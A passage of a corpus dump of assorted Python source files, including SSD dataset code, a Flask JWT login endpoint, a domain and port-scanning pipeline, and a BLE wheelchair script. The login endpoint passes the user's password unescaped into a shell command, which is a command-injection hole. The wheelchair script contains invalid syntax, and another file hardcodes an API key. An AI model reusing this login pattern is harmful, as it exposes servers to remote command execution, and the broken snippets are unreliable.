\u4e2d\u5fc3\u867d\u7136\u8fd8\u5728\u56fe\u7247\u5185\uff0c\u4f46\u662f\u8fb9\u6846\u53ef\u80fd\u4f1a\u8d85\u8fc7\u8fb9\u754c\uff0c\u8981\u9650\u5236\u8303\u56f4\n bbox[:, [1, 3]] = np.clip(bbox[:, [1, 3]], 0, h)\n category = category[inImage]\n return canvas, bbox, category\n return img, bbox, category\n\n def encoder(self, img, bbox, category):\n bbox = torch.from_numpy(bbox)\n category = torch.from_numpy(category)\n h, w, _ = img.shape\n w_scale_factor = 300 / w\n h_scale_factor = 300 / h\n bbox[:, [0, 2]] = (bbox[:, [0, 2]] * w_scale_factor).long()\n bbox[:, [1, 3]] = (bbox[:, [1, 3]] * h_scale_factor).long()\n # 1\u3001\u786e\u4fdd\u6bcf\u4e2agt\u90fd\u80fd\u5339\u914d\u5230\u81f3\u5c11\u4e00\u4e2adefault box (\u89e3\u51b3\uff1a\u591a\u4e2agt\u5339\u914d\u5230\u540c\u4e00\u4e2adefault box\u7684\u60c5\u51b5)\n # 2\u3001\u628a\u591a\u4e2adefault box\u5206\u914d\u5230\u540c\u4e00\u4e2agt\n iou, default_box = self.calculate_iou(bbox, self.feature_map_size, self.default_boxes_num, self.Sk) # n, 8096\n _, selected_default_box_idx = torch.max(iou, dim=1, keepdim=True) # \u4fdd\u8bc1\u6bcf\u4e2agt\u90fd\u80fd\u6709\u5bf9\u5e94\u7684default box\n selected_gt_iou, selected_gt_idx = torch.max(iou, dim=0, keepdim=True) # \u6bcf\u4e2adefault box\u9009\u62e9\u4e00\u4e2agt\uff0c\u5b9e\u73b0\u591a\u4e2adefault box\u5bf9\u5e94\u4e00\u4e2agt\n selected_default_box_idx = selected_default_box_idx.squeeze(-1)\n selected_gt_iou = selected_gt_iou.squeeze(0)\n selected_gt_idx = selected_gt_idx.squeeze(0)\n selected_gt_iou[selected_default_box_idx] = 2 # \u5982\u679cgt\u4e0e\u5bf9\u5e94\u7684\u552f\u4e00default box\u7684iou<0.5\uff0c\u8fd9\u6837\u53ef\u4ee5\u4fdd\u8bc1\u4e0d\u4f1a\u5728\u540e\u9762\u7684\u64cd\u4f5c\u4e2d\u88ab\u6807\u8bb0\u4e3a\u80cc\u666f\n selected_gt_idx[selected_default_box_idx] = torch.arange(0, len(selected_default_box_idx))\n\n label = category[selected_gt_idx] + 1 # \u6bcf\u4e2adefault box\u5bf9\u5e94\u7684label\n mask = selected_gt_iou < 0.5\n label[mask] = 0 # \u80cc\u666f\u7c7b\n label = label.unsqueeze(-1)\n coordinate = bbox[selected_gt_idx, :] # 8096, 4\n center_x = (coordinate[:, 0] + coordinate[:, 2]) // 2\n center_y = (coordinate[:, 1] + coordinate[:, 3]) // 2\n width = coordinate[:, 2] - coordinate[:, 0]\n height = coordinate[:, 3] - coordinate[:, 1]\n default_center_x = default_box[0]\n default_center_y = default_box[1]\n default_width = default_box[2]\n default_height = default_box[3]\n tx = (center_x - default_center_x)/default_width # 8096,\n tx = tx.unsqueeze(-1)\n ty = (center_y - default_center_y)/default_height\n ty = ty.unsqueeze(-1)\n tw = torch.log(width / default_width)\n tw = tw.unsqueeze(-1)\n th = torch.log(height / default_height)\n th = th.unsqueeze(-1)\n return torch.cat([tx, ty, tw, th, label], dim=-1) # # 8096, 5\n\n\n def calculate_iou(self, bbox, feature_map_size, default_box_num, Sk):\n # \u9010\u5c42feature map\u8ba1\u7b97\n iou_list = []\n center_x_list = []\n center_y_list = []\n width_list = []\n height_list = []\n gt_num = bbox.shape[0]\n for idx, (fms, dbn, sk) in enumerate(zip(feature_map_size, default_box_num, Sk)):\n center = torch.linspace(0.5, fms-0.5, fms, dtype=torch.float) / fms * 300 # fms,\n center_x = center.unsqueeze(0).unsqueeze(0).unsqueeze(-1) # 1, 1, fms, 1\n center_x = center_x.repeat(1, fms, 1, dbn) # 1, fms, fms, dbn\n\n center_y = center.unsqueeze(-1).unsqueeze(-1).unsqueeze(0) # 1, fms, 1, 1\n center_y = center_y.repeat(1, 1, fms, dbn) # 1, fms, fms, dbn\n\n ratio = torch.Tensor([1, 2, 1 / 2, 3, 1 / 3])[:dbn-1]\n width_prime = height_prime = torch.Tensor([np.sqrt(sk * Sk[idx + 1]) * 300])\n\n width = sk * 300 / ratio\n width = torch.cat([width, width_prime], dim=0) # dbn,\n width = width.unsqueeze(0).unsqueeze(0).unsqueeze(0) # 1, 1, 1, dbn\n width = width.repeat(1, fms, fms, 1) # 1, fms, fms, dbn\n\n height = sk * 300 * ratio\n height = torch.cat([height, height_prime], dim=0) # dbn,\n height = height.unsqueeze(0).unsqueeze(0).unsqueeze(0) # 1, 1, 1, dbn\n height = height.repeat(1, fms, fms, 1) # 1, fms, fms, dbn\n\n x1 = center_x - width / 2 # 1, fms, fms, dbn\n y1 = center_y - height / 2\n x2 = center_x + width / 2\n y2 = center_y + height / 2\n\n bbox_copy = bbox.unsqueeze(1).unsqueeze(1).unsqueeze(1).float() # n, 1, 1, 1, 4\n left = torch.max(bbox_copy[:, :, :, :, 0], x1)\n top = torch.max(bbox_copy[:, :, :, :, 1], y1)\n right = torch.min(bbox_copy[:, :, :, :, 2], x2)\n bottom = torch.min(bbox_copy[:, :, :, :, 3], y2)\n w = torch.max(right - left, torch.Tensor([1e-6]))\n h = torch.max(bottom - top, torch.Tensor([1e-6]))\n intersection = h * w\n union = (bbox_copy[:, :, :, :, 2] - bbox_copy[:, :, :, :, 0]) * (bbox_copy[:, :, :, :, 3] - bbox_copy[:, :, :, :, 1]) \\\n + (x2 - x1) * (y2 - y1) - intersection\n iou = intersection / union # n, fms, fms, dbn\n iou_list.append(iou.reshape(gt_num, -1))\n center_x_list.append(center_x.reshape(-1))\n center_y_list.append(center_y.reshape(-1))\n width_list.append(width.reshape(-1))\n height_list.append(height.reshape(-1))\n return torch.cat(iou_list, dim=-1), (torch.cat(center_x_list, dim=0), torch.cat(center_y_list, dim=0),\n torch.cat(width_list, dim=0), torch.cat(height_list, dim=0))\n# #\n# if __name__ == \"__main__\":\n# import glob\n# import xml.dom.minidom as xdm\n# def load_data(data_path):\n# voc2007_trainval_annotations = os.path.join(data_path, \"VOC2007\", \"trainval\", \"Annotations\", \"*xml\")\n# annotation_path = glob.glob(voc2007_trainval_annotations)\n#\n# all_category = [\"aeroplane\", \"bicycle\", \"bird\", \"boat\", \"bottle\", \"bus\", \"car\", \"cat\", \"chair\", \"cow\",\n# \"diningtable\", \"dog\", \"horse\", \"motorbike\", \"person\", \"pottedplant\", \"sheep\", \"sofa\",\n# \"train\", \"tvmonitor\"]\n#\n# random.shuffle(annotation_path)\n# res = []\n# for i, path in enumerate(annotation_path):\n# path_split = os.path.dirname(path).split('\\\\')\n# folder = [path_split[2], path_split[3]] # [VOC2007/VOC2012, trainval/test]\n# DOMTree = xdm.parse(path)\n# collection = DOMTree.documentElement\n# filename = collection.getElementsByTagName(\"filename\")[0].childNodes[0].data\n# category_list = []\n# bndbox_list = []\n# object_ = collection.getElementsByTagName(\"object\")\n# for obj in object_:\n# category = obj.getElementsByTagName(\"name\")[0].childNodes[0].data\n# bndbox = obj.getElementsByTagName(\"bndbox\")[0]\n# xmin = int(bndbox.getElementsByTagName(\"xmin\")[0].childNodes[0].data)\n# ymin = int(bndbox.getElementsByTagName(\"ymin\")[0].childNodes[0].data)\n# xmax = int(bndbox.getElementsByTagName(\"xmax\")[0].childNodes[0].data)\n# ymax = int(bndbox.getElementsByTagName(\"ymax\")[0].childNodes[0].data)\n# category_list.append(all_category.index(category))\n# bndbox_list.append([xmin, ymin, xmax, ymax])\n# res.append({\"folder\": folder, \"filename\": filename, \"category\": np.array(category_list),\n# \"bndbox\": np.array(bndbox_list)})\n# return res\n#\n# DATA_PATH = \"D:\\\\dataset\"\n# res = load_data(DATA_PATH)\n# eval_res = res[:100]\n# eval_set = VOCDataset(data=eval_res, image_root=DATA_PATH, transform=None, train=False)\n# for data in eval_set:\n# print(data)", "source": "gddcx/pytorch-ssd", "license": "MIT"} {"text": "from setuptools import setup, find_packages\n\nsetup(\n name=\"helm-doc\",\n version=\"0.1.0\",\n py_modules=[\n \"helmdoc\",\n ],\n package=find_packages(),\n install_requires=[\"wheel\", \"Click\", \"pyyaml\"],\n entry_points=\"\"\"\n [console_scripts]\n helm-doc=helmdoc:cli\n \"\"\",\n)\n", "source": "AlexandrePicosson/helm-doc", "license": "MIT"} {"text": "from flask import request\nfrom flask_restx import Resource, fields, Namespace\nimport jwt\nimport datetime\nimport functools\nfrom models import Users, Admins\nimport subprocess\nimport os\nfrom os.path import join, dirname\nfrom dotenv import load_dotenv\nfrom conf import const\n\nload_dotenv(verbose=True)\ndotenv_path = join(dirname(__file__), '.env')\nload_dotenv(dotenv_path)\n\nSECRET_KEY = os.environ.get(\"SECRET_KEY\")\n\napi = Namespace('auth', description=\"Authentication\")\n\nauth_request = api.model('authentication_request', {\n 'email': fields.String(default='example@gmail.com'),\n 'password': fields.String(default='password')\n})\nauth_response = api.model('authentication_response', {\n 'token': fields.String(default='JSON Web Token'),\n 'user_id': fields.Integer,\n 'role': fields.String,\n 'status': fields.String\n})\n\n\n@api.route('')\nclass Index(Resource):\n @api.marshal_with(auth_response)\n @api.doc(body=auth_request)\n def post(self):\n email = request.json['email']\n password = request.json['password']\n query_user = Users.select(\n Users.user_id,\n Users.email,\n Users.password,\n Users.status\n ).where(Users.email == email)\n if len(query_user) == 0:\n result = \"Passsword or Email Incorrect\"\n return api.abort(400, result)\n elif len(query_user) > 1: # not neccessary, just in case\n result = \"Duplicate Email Address\"\n return api.abort(400, result)\n if query_user[0].status == 'RESIGNED':\n result = \"Login of Resigned User Not Allowed\"\n return api.abort(400, result)\n script = \"php -r 'echo password_verify(\\\"{0}\\\",\\\"{1}\\\") ? \\\"true\\\" : \\\"false\\\";'\".format(\n password, query_user[0].password.replace('$', '\\$'))\n ret = subprocess.Popen([script], stdout=subprocess.PIPE, shell=True)\n (out, _) = ret.communicate()\n if out.decode('utf-8') != \"true\":\n result = \"Passsword or Email Incorrect\"\n return api.abort(400, result)\n # check if user is admin\n query_admin = Admins.select(\n Admins.user_id,\n Admins.role\n ).where(Admins.user_id == query_user[0].user_id)\n if len(query_admin) == 0:\n admin_role = const.GENERAL\n else:\n admin_role = query_admin[0].role\n exp = datetime.datetime.utcnow() + datetime.timedelta(hours=1)\n encoded = jwt.encode({'name': query_user[0].user_id, 'exp': exp}, SECRET_KEY, algorithm=\"HS256\")\n result = {'user_id': query_user[0].user_id,\n 'token': encoded,\n 'role': admin_role,\n 'status': query_user[0].status}\n return result\n\n\ndef login_required(method):\n @functools.wraps(method)\n def wrapper(*args, **kwargs):\n header = request.headers.get('Authorization')\n if header is None:\n result = \"Authorization Header Not Found\"\n return api.abort(400, result)\n try:\n _, token = header.split()\n except ValueError:\n result = \"Token Not Valid\"\n return api.abort(400, result)\n try:\n decoded = jwt.decode(token, SECRET_KEY, algorithms='HS256')\n user_id = decoded['name']\n except jwt.DecodeError:\n result = \"Token Not Valid\"\n return api.abort(400, result)\n except jwt.ExpiredSignatureError:\n result = \"Token Expired\"\n return api.abort(400, result)\n return method(*args, user_id, **kwargs)\n return wrapper\n", "source": "nozomu-y/kleines-mypage-api", "license": "MIT"} {"text": "from uwcoursesearch import app\nimport pytest\n\n@pytest.fixture\ndef test_app():\n app.testing = True\n return app.test_client()\n\ndef test_homepage(test_app):\n rv = test_app.get('/')\n\n assert b\"UWCourseSearch\" in rv.data\n\ndef test_searchpage(test_app):\n rv = test_app.get('/search')\n\n assert b\"Search\" in rv.data\n\ndef test_resultspage(test_app):\n rv = test_app.post('/results', data=dict(CourseCode='101r', CourseName='JAPAN',\n Term='1179'))\n\n assert b\"Class\" in rv.data and b\"Section\" in rv.data and b\"Capacity\" in rv.data \\\n and b\"Enrolled\" in rv.data\n", "source": "ConMur/UWCourseSearch", "license": "MIT"} {"text": "from subprocess import call\r\nimport os\r\n\r\nPAIRWISE_THRESHOLD = 1.e-1\r\nFEATURE_DIFF_THRESHOLD = 1.e-6\r\n\r\nclass LibSvmFormatter:\r\n def processQueryDocFeatureVector(self,docClickInfo,trainingFile):\r\n '''Expects as input a sorted by queries list or generator that provides the context \r\n for each query in a tuple composed of: (query , docId , relevance , source , featureVector).\r\n The list of documents that are part of the same query will generate comparisons\r\n against each other for training. '''\r\n with open(trainingFile,\"w\") as output:\r\n self.featureNameToId = {}\r\n self.featureIdToName = {}\r\n self.curFeatIndex = 1;\r\n curListOfFv = []\r\n curQueryAndSource = \"\"\r\n for query,docId,relevance,source,featureVector in docClickInfo:\r\n if curQueryAndSource != query + source:\r\n #Time to flush out all the pairs\r\n _writeRankSVMPairs(curListOfFv,output);\r\n curListOfFv = []\r\n curQueryAndSource = query + source\r\n curListOfFv.append((relevance,self._makeFeaturesMap(featureVector)))\r\n _writeRankSVMPairs(curListOfFv,output); #This catches the last list of comparisons\r\n\r\n def _makeFeaturesMap(self,featureVector):\r\n '''expects a list of strings with \"feature name\":\"feature value\" pairs. Outputs a map of map[key] = value.\r\n Where key is now an integer. libSVM requires the key to be an integer but not all libraries have\r\n this requirement.'''\r\n features = {}\r\n for keyValuePairStr in featureVector:\r\n featName,featValue = keyValuePairStr.split(\"=\");\r\n features[self._getFeatureId(featName)] = float(featValue);\r\n return features\r\n\r\n def _getFeatureId(self,key):\r\n if key not in self.featureNameToId:\r\n self.featureNameToId[key] = self.curFeatIndex;\r\n self.featureIdToName[self.curFeatIndex] = key;\r\n self.curFeatIndex += 1;\r\n return self.featureNameToId[key];\r\n\r\n def convertLibSvmModelToLtrModel(self,libSvmModelLocation,outputFile,modelName,featureStoreName):\r\n with open(libSvmModelLocation, 'r') as inFile:\r\n with open(outputFile,'w') as convertedOutFile:\r\n # TODO: use json module instead of direct write\r\n convertedOutFile.write('{\\n\\t\"class\":\"org.apache.solr.ltr.model.LinearModel\",\\n')\r\n convertedOutFile.write('\\t\"store\": \"' + str(featureStoreName) + '\",\\n')\r\n convertedOutFile.write('\\t\"name\": \"' + str(modelName) + '\",\\n')\r\n convertedOutFile.write('\\t\"features\": [\\n')\r\n isFirst = True;\r\n for featKey in self.featureNameToId.keys():\r\n convertedOutFile.write('\\t\\t{ \"name\":\"' + featKey + '\"}' if isFirst else ',\\n\\t\\t{ \"name\":\"' + featKey + '\"}' );\r\n isFirst = False;\r\n convertedOutFile.write(\"\\n\\t],\\n\");\r\n convertedOutFile.write('\\t\"params\": {\\n\\t\\t\"weights\": {\\n');\r\n\r\n startReading = False\r\n isFirst = True\r\n counter = 1\r\n for line in inFile:\r\n if startReading:\r\n newParamVal = float(line.strip())\r\n if not isFirst:\r\n convertedOutFile.write(',\\n\\t\\t\\t\"' + self.featureIdToName[counter] + '\":' + str(newParamVal))\r\n else:\r\n convertedOutFile.write('\\t\\t\\t\"' + self.featureIdToName[counter] + '\":' + str(newParamVal))\r\n isFirst = False\r\n counter += 1\r\n elif line.strip() == 'w':\r\n startReading = True\r\n convertedOutFile.write('\\n\\t\\t}\\n\\t}\\n}')\r\n\r\ndef _writeRankSVMPairs(listOfFeatures,output):\r\n '''Given a list of (relevance, {Features Map}) where the list represents\r\n a set of documents to be compared, this calculates all pairs and\r\n writes the Feature Vectors in a format compatible with libSVM.\r\n Ex: listOfFeatures = [\r\n #(relevance, {feature1:value, featureN:value})\r\n (4, {1:0.9, 2:0.9, 3:0.1})\r\n (3, {1:0.7, 2:0.9, 3:0.2})\r\n (1, {1:0.1, 2:0.9, 6:0.1})\r\n ] \r\n '''\r\n for d1 in range(0,len(listOfFeatures)):\r\n for d2 in range(d1+1,len(listOfFeatures)):\r\n doc1,doc2 = listOfFeatures[d1], listOfFeatures[d2]\r\n fv1,fv2 = doc1[1],doc2[1]\r\n d1Relevance, d2Relevance = float(doc1[0]),float(doc2[0])\r\n if d1Relevance - d2Relevance > PAIRWISE_THRESHOLD:#d1Relevance > d2Relevance\r\n outputLibSvmLine(\"+1\",subtractFvMap(fv1,fv2),output);\r\n outputLibSvmLine(\"-1\",subtractFvMap(fv2,fv1),output);\r\n elif d1Relevance - d2Relevance < -PAIRWISE_THRESHOLD: #d1Relevance < d2Relevance:\r\n outputLibSvmLine(\"+1\",subtractFvMap(fv2,fv1),output);\r\n outputLibSvmLine(\"-1\",subtractFvMap(fv1,fv2),output);\r\n else: #Must be approximately equal relevance, in which case this is a useless signal and we should skip\r\n continue;\r\n\r\ndef subtractFvMap(fv1,fv2):\r\n '''returns the fv from fv1 - fv2'''\r\n retFv = fv1.copy();\r\n for featInd in fv2.keys():\r\n subVal = 0.0;\r\n if featInd in fv1:\r\n subVal = fv1[featInd] - fv2[featInd]\r\n else:\r\n subVal = -fv2[featInd]\r\n if abs(subVal) > FEATURE_DIFF_THRESHOLD: #This ensures everything is in sparse format, and removes useless signals\r\n retFv[featInd] = subVal;\r\n else:\r\n retFv.pop(featInd, None)\r\n return retFv;\r\n\r\ndef outputLibSvmLine(sign,fvMap,outputFile):\r\n outputFile.write(sign)\r\n for feat in fvMap.keys():\r\n outputFile.write(\" \" + str(feat) + \":\" + str(fvMap[feat]));\r\n outputFile.write(\"\\n\")\r\n\r\ndef trainLibSvm(libraryLocation,libraryOptions,trainingFileName,trainedModelFileName):\r\n if os.path.isfile(libraryLocation):\r\n call([libraryLocation, libraryOptions, trainingFileName, trainedModelFileName])\r\n else:\r\n raise Exception(\"NO LIBRARY FOUND: \" + libraryLocation);\r\n", "source": "jsonyeung/cmpt456-lucene-solr", "license": "Apache-2.0"} {"text": "from simple_settings import settings\nfrom simple_settings.utils import settings_stub\n\n# Stub examples\nwith settings_stub(SOME_SETTING='foo'):\n assert settings.SOME_SETTING == 'foo'\nassert settings.SOME_SETTING == 'bar'\n\n\n@settings_stub(SOME_SETTING='foo')\ndef get_some_setting():\n return settings.SOME_SETTING\n\nassert get_some_setting() == 'foo'\nassert settings.SOME_SETTING == 'bar'\n", "source": "pichatelli/simple-settings", "license": "MIT"} {"text": "matriz = ([0,0,0], [0,0,0], [0,0,0])\npar = terceira = maior = 0\nfor l in range(0,3):\n for c in range(0,3):\n matriz[l][c] = int(input(f'Type a value for [{l}, {c}]: '))\n if matriz[l][c] % 2 == 0:\n par += matriz[l][c]\nprint('=-'*15)\nfor l in range (0,3):\n for c in range(0,3):\n print(f'[{matriz[l][c]:^5}]', end='')\n print()\nprint('=-'*15)\nprint(f'Sum of even values: {par}')\nfor l in range(0,3):\n terceira += matriz[l][2]\nprint(f'Sum from values of third column: {terceira}')\nfor c in range(0,3):\n if c == 0:\n maior = matriz[1][c]\n elif matriz[1][c] > maior:\n maior = matriz[1][c]\nprint(f'Bigger value of second line: {maior}')", "source": "lucadomingues/Python", "license": "MIT"} {"text": "class Solution(object):\n def findDisappearedNumbers(self, nums):\n return list(set(range(1,len(nums)+1)) - set(nums))\n\nnums = [4, 6, 2, 6, 7, 2, 1]\n\ndef test():\n assert Solution().findDisappearedNumbers(nums) == [3, 5]", "source": "ktaletsk/daily-problem", "license": "MIT"} {"text": "from datetime import datetime\nfrom user import unfollow_accounts\nimport schedule\nimport time\n\n# # # TIME INTERVAL # # #\nMINUTES_INTERVAL = 20 # How often should the script be executed (in minutes)\n\n\ndef unfollow():\n result = unfollow_accounts()\n now = datetime.now()\n dt = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n if result['ok']:\n print(\"[{}] {}, Followed accounts: {}\".format(dt, result['message'], result['total']))\n else:\n print(\"[{}] Error: {}\".format(dt, result['message']))\n\n\ndef main():\n job = None\n try:\n print(\"# Twitter Auto Unfollower #\")\n unfollow()\n job = schedule.every(MINUTES_INTERVAL).minutes.do(unfollow)\n while True:\n schedule.run_pending()\n time.sleep(2)\n\n except KeyboardInterrupt:\n schedule.cancel_job(job)\n print(\"Shutdown requested... Exiting.\")\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "AlbertoBaroso/twitter-unfollower", "license": "MIT"} {"text": "class Motor:\n def __init__(self):\n self.velocidade = 0\n\n def acelerar(self):\n self.velocidade += 1\n\n def frear(self):\n self.velocidade -= 2\n self.velocidade = max(0, self.velocidade)\n\nNORTE = 'Norte'\nSUL = 'Sul'\nLESTE = 'Leste'\nOESTE = 'Oeste'\nclass Direcao:\n rotacao_a_direita_dct={NORTE:LESTE, LESTE:SUL, SUL:OESTE, OESTE:NORTE}\n rotacao_a_esquerda_dct={NORTE:OESTE, OESTE:SUL, SUL:LESTE, LESTE:NORTE}\n def __init__(self):\n self.valor = NORTE\n\n def girar_a_direta(self):\n self.valor = self.rotacao_a_direita_dct[self.valor]\n def girar_a_esquerda(self):\n self.valor = self.rotacao_a_esquerda_dct[self.valor]\n\n\n\n", "source": "wanderaze/pythonbirds", "license": "MIT"} {"text": "#wolframalpha settings\nfrom wolframalpha import Client\napp_id = \"TGRUL2-794AT5556P\"\nclient = Client(app_id)\n\n#getting user directory\nfrom subprocess import getoutput\nhomeDir = getoutput('echo $HOME')\n", "source": "azharhappy/Nancy-VA--MacOS", "license": "MIT"} {"text": "import sys\nimport evdev\nimport logging\nimport threading\n\ndef print_callback ( id ) :\n logging.info( id )\n\nclass RfidReader :\n # set to true when the reader thread starts; if set to false, the reader will stop\n running = False\n\n # the thread that is reading characters from the RFID reader\n thread = None\n\n # the callback that is called, when an ID has been read\n callback = None\n\n # stop the reader and wait until it is stopped\n def stop ( self ) :\n self.running = False\n\n if self.thread :\n self.thread.join()\n\n # start the reader\n # callback will be called with ID as argument, when an ID has been read\n def start ( self, callback ) :\n self.thread = threading.Thread( target = self.__loop )\n self.running = True\n self.callback = callback\n self.thread.start()\n\n # wait until the reader has been stopped\n def join ( self ) :\n if self.thread :\n self.thread.join()\n\n def __loop ( self ) :\n try :\n device = evdev.InputDevice( '/dev/input/event0' )\n\n logging.info( device )\n\n id = ''\n logging.info( \"RFID event loop started\" )\n\n while self.running :\n event = device.read_one()\n\n while event != None :\n if event.type == evdev.ecodes.EV_KEY :\n key_event = evdev.events.KeyEvent( event )\n if key_event.keystate == evdev.events.KeyEvent.key_up :\n if key_event.keycode == 'KEY_ENTER' :\n self.callback( id )\n id = ''\n else :\n id = id + key_event.keycode.split( '_' )[1]\n\n event = device.read_one()\n\n logging.info( \"RFID event loop stopped\" )\n except KeyboardInterrupt :\n raise\n except evdev.EvdevError as e:\n self.running = False\n logging.info( \"ERROR: could not open RFID reader %s\", e.msg )\n\nif __name__ == \"__main__\" :\n logging.root.setLevel( logging.INFO )\n rfid_reader = RfidReader()\n rfid_reader.start( print_callback )\n rfid_reader.join()\n", "source": "spriesterjahn/annibox", "license": "MIT"} {"text": "import sys, asyncio, os\nfrom catalog import searchDomains, findOpenPorts, kafkaProducer, festin, filterRepeated, S3Store, S3Write\nfrom aux import consumer, producer\n\nasync def dispatcher(p, kafkaQ, S3Q):\n if p[\"port\"] == \"80\":\n await kafkaQ.put(p)\n else:\n await S3Q.put(p)\n\nasync def main():\n tasks = []\n \n foundDomains = asyncio.Queue()\n filteredDomains = asyncio.Queue()\n portsQueue = asyncio.Queue()\n kafkaQueue = asyncio.Queue()\n S3Queue = asyncio.Queue()\n\n tasks.append(asyncio.create_task(producer(searchDomains, sys.argv[1], foundDomains)))\n tasks.append(asyncio.create_task(producer(festin, sys.argv[1], os.environ[\"DNS_SERVER\"], True, foundDomains)))\n\n tasks.append(asyncio.create_task(consumer(foundDomains, findOpenPorts, 2, \"80,443\", filteredDomains)))\n tasks.append(asyncio.create_task(consumer(filteredDomains, filterRepeated, 3, portsQueue)))\n tasks.append(asyncio.create_task(consumer(portsQueue, dispatcher, 4, kafkaQueue, S3Queue)))\n\n tasks.append(asyncio.create_task(consumer(kafkaQueue, kafkaProducer, 5, os.environ[\"KAFKA_SERVER\"], \"domainsTopic\")))\n tasks.append(asyncio.create_task(consumer(S3Queue, S3Store, 6)))\n \n await asyncio.gather(*tasks)\n await S3Write(os.environ[\"BUCKET_URI\"])\n\nasyncio.run(main())\n", "source": "BBVA/MIST", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python3\n\n# In this example, we connect to a GATT service 'rotation' on the wheel, sending\n# the rotation count over time. When we reach the recommended number of rotation,\n# we send a command to the Arduino to turn on the vibration motors.\n\n# Import required library\nimport pygatt # To access BLE GATT support\nimport signal # To catch the Ctrl+C and end the program properly\nimport os # To access environment variables\nfrom dotenv import load_dotenv # To load environment variables from .env file\nimport serial\nimport time\n\n# DCD Hub\nfrom dcd.entities.thing import Thing\nfrom dcd.entities.property import PropertyType\n\n# The thing ID and access token\nload_dotenv()\nTHING_ID = os.environ['THING_ID']\nTHING_TOKEN = os.environ['THING_TOKEN']\nBLUETOOTH_DEVICE_MAC = os.environ['BLUETOOTH_DEVICE_MAC']\n\n# UUID of the GATT characteristic to subscribe\nGATT_CHARACTERISTIC_ROTATION = \"02118733-4455-6677-8899-AABBCCDDEEFF\"\n# Many devices, e.g. Fitbit, use random addressing, this is required to connect.\nADDRESS_TYPE = pygatt.BLEAddressType.random\n\n# Recommended number of rotation\n#ROTVAL = 1\n# Did we already vib\n#vib = False\n\n# Start reading the serial port\nser = serial.Serial(\n port = os.environ['SERIAL'],\n baudrate = 9600,\n timeout = 2)\n\n\ndef find_or_create(property_name, property):\n \"\"\"Search a property by name, create it if not found, then return it.\"\"\"\n if my_thing.find_property_by_name(property_name) is None:\n my_thing.create_property(name=property_name,\n property=property)\n return my_thing.find_property_by_name(property_name)\n\n\ndef handle_rotation_data(handle, value_bytes):\n \"\"\"\n handle -- integer, characteristic read handle the data was received on\n value_bytes -- bytearray, the data returned in the notification\n \"\"\"\n print(\"Received data: %s (handle %d)\" % (str(value_bytes), handle))\n #rotation_values = [0, 0]\n rotation_values = [float(x) for x in value_bytes.decode('utf-8').split(\",\")]\n find_or_create(\"Left Wheel Rotation\",\n PropertyType.TWO_DIMENSIONS).update_values(rotation_values)\n\n print(rotation_values[0])\n print(rotation_values[1])\n\n rotation_values[0],[1]\n\n #ROTVAL_1 = 0\n #ROTVAL_0 = 0\n\n ROTVAL_0 = rotation_values[0]\n print(ROTVAL_0)\n if ((rotation_values[0] - 1) = ROTVAL_0 ):\n print(\"ROTVAL_0\")\n print (ROTVAL_0)\n ser.write('1'.encode())\n #ROTVAL_0 = rotation_values[0]\n time.sleep(2)\n\n ROTVAL_1 = rotation_values[1]\n if ((rotation_values[1] - 1) = ROTVAL_1 ):\n print(\"ROTVAL_1\")\n print (ROTVAL_1)\n ser.write('1'.encode())\n #ROTVAL_1 = rotation_values[1]\n time.sleep(2)\n\n #((rotation_values[1] or rotation_values[0]) % ROTVAL == 0) and not vib:\n # ser.write('1'.encode())\n # time.sleep(2)\n # ser.write('0'.encode())\n# global vib\n# print(\"not vib yet %s\" % str(vib))\n# vib = True\n# print(\"after nudge %s\" % str(vib))\n\n\ndef keyboard_interrupt_handler(signal_num):\n \"\"\"Make sure we close our program properly\"\"\"\n print(\"Exiting...\".format(signal_num))\n left_wheel.unsubscribe(GATT_CHARACTERISTIC_ROTATION)\n exit(0)\n\n\n# Instantiate a thing with its credential, then read its properties from the DCD Hub\nmy_thing = Thing(thing_id=THING_ID, token=THING_TOKEN)\nmy_thing.read()\n\n# Start a BLE adapter\nbleAdapter = pygatt.GATTToolBackend()\nbleAdapter.start()\n\n# Use the BLE adapter to connect to our device\nleft_wheel = bleAdapter.connect(BLUETOOTH_DEVICE_MAC, address_type=ADDRESS_TYPE)\n\n# Subscribe to the GATT services\nleft_wheel.subscribe(GATT_CHARACTERISTIC_ROTATION, callback=handle_rotation_data)\n\n# Register our Keyboard handler to exit\nsignal.signal(signal.SIGINT, keyboard_interrupt_handler)\n", "source": "ctsai-1/wheelchair-design-platform", "license": "MIT"} {"text": "\ufeff#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\n\n# \n# Urne - Klasse von zufall \n# \n \n#\n# This file is part of zufall\n#\n#\n# Copyright (c) 2019 Holger B\u00f6ttcher hbomat@posteo.de\n#\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\")\n# you may not use this file except in compliance with the License\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# \n\n\n\nfrom sympy.core.numbers import Integer\nfrom sympy.core.symbol import Symbol\nfrom sympy import sympify, sqrt, nsimplify\nfrom sympy.functions.combinatorial.factorials import binomial as B\n\nfrom zufall.lib.objekte.zufalls_experiment import ZufallsExperiment \nfrom zufall.lib.funktionen.funktionen import anzahl_treffer\n\t\nfrom zufall.lib.objekte.ausnahmen import ZufallError\n\nimport zufall\n\n\n\n# Urne - Klasse \n# -------------\n\t\nclass Urne(ZufallsExperiment): \n \"\"\"\n\t\nUrne\n\t\n**Erzeugung** \n\n Urne( *liste | dict /[, stufen]* ) \n\t\n *dict* : *{ obj1:zahl1, obj2:zahl2, ...}*\n\t \n *liste* : \n\t \n | *[ (obj, zahl1), (obj2, zahl2), ...]* \n\t\t\n *oder*\n\t\t \n | *[ [obj1, zahl1], [obj2, zahl12, ...]* \n\t\t\n *oder*\n\t\t \n | *[ obj1, obj2, ...]* = *[ [obj1, 1], [obj2, 1], ...]*\n\t\t \n | (*obj-zahl*-Paare als Tupel oder Liste)\n\t\t \n *obj* : Bezeichner | ganze Zahl >= 0\n\t \n *stufen* : Anzahl Stufen; Standard=1\n\t\t\t\t \n**Zusatz**\n `a=nein` - keine Beachtung der Anordnung/Reihenfolge; Standard=ja\n \n `w=nein` - keine Wiederholung von Elementen; Standard=ja\n \n `f=funktions_name` - Name einer ZG-Funktion (diese ordnet den Elementen \n der 